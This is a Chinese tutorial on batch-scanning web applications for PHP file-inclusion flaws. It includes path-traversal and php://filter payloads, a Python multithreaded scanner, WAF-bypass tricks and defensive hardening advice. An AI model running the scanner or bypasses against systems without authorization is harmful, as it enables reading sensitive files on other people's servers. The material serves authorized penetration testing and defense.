PHP 8.2 本身不引入新文件包含漏洞，根源在于开发者未校验用户可控路径参数；默认禁用 allow_url_include 阻止 RFI，LFI 风险仍存，需通过输入过滤、配置加固和 Web 服务器规则联合防护。
PHP 8.2 本身不引入新的文件包含漏洞，漏洞根源在于开发者未对用户可控的文件路径参数做严格校验（如 include、require、include_once、require_once 中拼接了未经过滤的 $_GET、$_POST 或 $_REQUEST 参数）。所谓“PHP8.2 文件包含漏洞扫描”，实际是针对 Web 应用中可能存在的 LFI（本地文件包含）或 RFI（远程文件包含）风险点进行探测，与 PHP 版本无直接关系，但需注意 PHP 8.2 默认禁用了 allow_url_include=Off，因此 RFI 在默认配置下基本不可利用。
明确扫描目标和原理
批量扫描的核心不是检测 PHP 版本，而是识别可能存在动态文件包含逻辑的 URL，并尝试注入路径遍历（../../../etc/passwd）或空字节截断（PHP php://filter）等 payload 来验证是否可读敏感文件。
- 先收集目标 URL（如通过爬虫、字典爆破或日志提取），重点关注含
?page=、?file=、?view=、?inc=等疑似参数的接口 - 对每个参数值依次尝试：
../../../../etc/passwd、php://filter/convert.base64-encode/resource=/etc/passwd、data://text/plain,<?php phpinfo();?>（需allow_url_include=On，PHP 8.2 默认关闭） - 判断响应：返回
/etc/passwd内容、base64 解码后为系统用户列表、或出现phpinfo()页面即视为疑似漏洞
Python 批量扫描脚本示例（推荐）
PHP 本身不适合写扫描器（无原生 HTTP 客户端、并发弱、生态不匹配），建议用 Python（如 requests + concurrent.futures）实现。以下为简化核心逻辑：
PHP 8.5.12
下载
修复 Core bailout 状态损坏安全问题，以及 BZ2、DOM、PDO、Opcache/JIT 内存与执行错误，改进 Unicode 字素处理、URL 解析、TLS 流状态、信号分发及会话错误处理。
import requests
import urllib.parse
from concurrent.futures import ThreadPoolExecutor, as_completed
<p>PAYLOADS = [
"../../../../etc/passwd",
"php://filter/convert.base64-encode/resource=/etc/passwd",
]</p><p>def check_lfi(url, param, payload):
try:
u = f"{url}?{param}={urllib.parse.quote(payload)}"
r = requests.get(u, timeout=8, allow_redirects=False)
if "root:x:0:0:" in r.text or "YWRtaW46" in r.text: # base64 of 'admin:'
return f"[+] {u} → likely LFI"
if "phpinfo()" in r.text and "PHP Version" in r.text:
return f"[+] {u} → phpinfo() exposed"
except Exception:
pass
return None</p><p>def scan_target(target_url):
results = []
for param in ["file", "page", "view", "inc"]:
for p in PAYLOADS:
res = check_lfi(target_url, param, p)
if res:
results.append(res)
return results</p><h1>使用示例</h1><p>urls = ["<a href="https://www.php.cn/link/062bc199adf3a262d5eefbb88e328e11">https://www.php.cn/link/062bc199adf3a262d5eefbb88e328e11</a>", "<a href="https://www.php.cn/link/a5947ec767a8f9d440d2399de0768666">https://www.php.cn/link/a5947ec767a8f9d440d2399de0768666</a>"]
with ThreadPoolExecutor(max_workers=5) as exe:
futures = [exe.submit(scan_target, u) for u in urls]
for f in as_completed(futures):
for r in f.result():
print(r)
注意事项和绕过技巧
真实环境中需考虑 WAF、编码混淆、路径长度限制、内容过滤等干扰因素：
立即学习“PHP免费学习笔记（深入）”；
- 尝试多层 URL 编码：
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd - 替换斜杠为其他分隔符（部分解析器支持）：
....//....//....//etc//passwd - 利用 PHP 8.2 的新特性无关，但要注意：8.2 移除了
create_function()和mbregex，不影响 LFI 利用链 - 若目标使用 Nginx + PHP-FPM，注意
fastcgi_split_path_info配置可能导致 PATH_INFO 截断，可尝试/index.php/xxx?file=...形式绕过
合法性和防御建议
未经授权扫描他人系统违反《网络安全法》及刑法第 285 条，仅限授权渗透测试或自查。防御关键在于：
- 禁用动态文件包含：用白名单映射代替直接拼接文件名（如
$pages = ['home'=>'home.php', 'about'=>'about.php']; include $pages[$_GET['p']] ?? 'home.php';） - 过滤输入：用
basename()提取文件名，禁用..和斜杠，或用realpath()校验是否在允许目录内 - 保持 PHP 配置安全：
allow_url_include=Off、disable_functions=system,exec,passthru,shell_exec - Web 服务器层限制：Nginx 中用
location ~ \..*/.*\.php$ { return 403; }拦截可疑路径
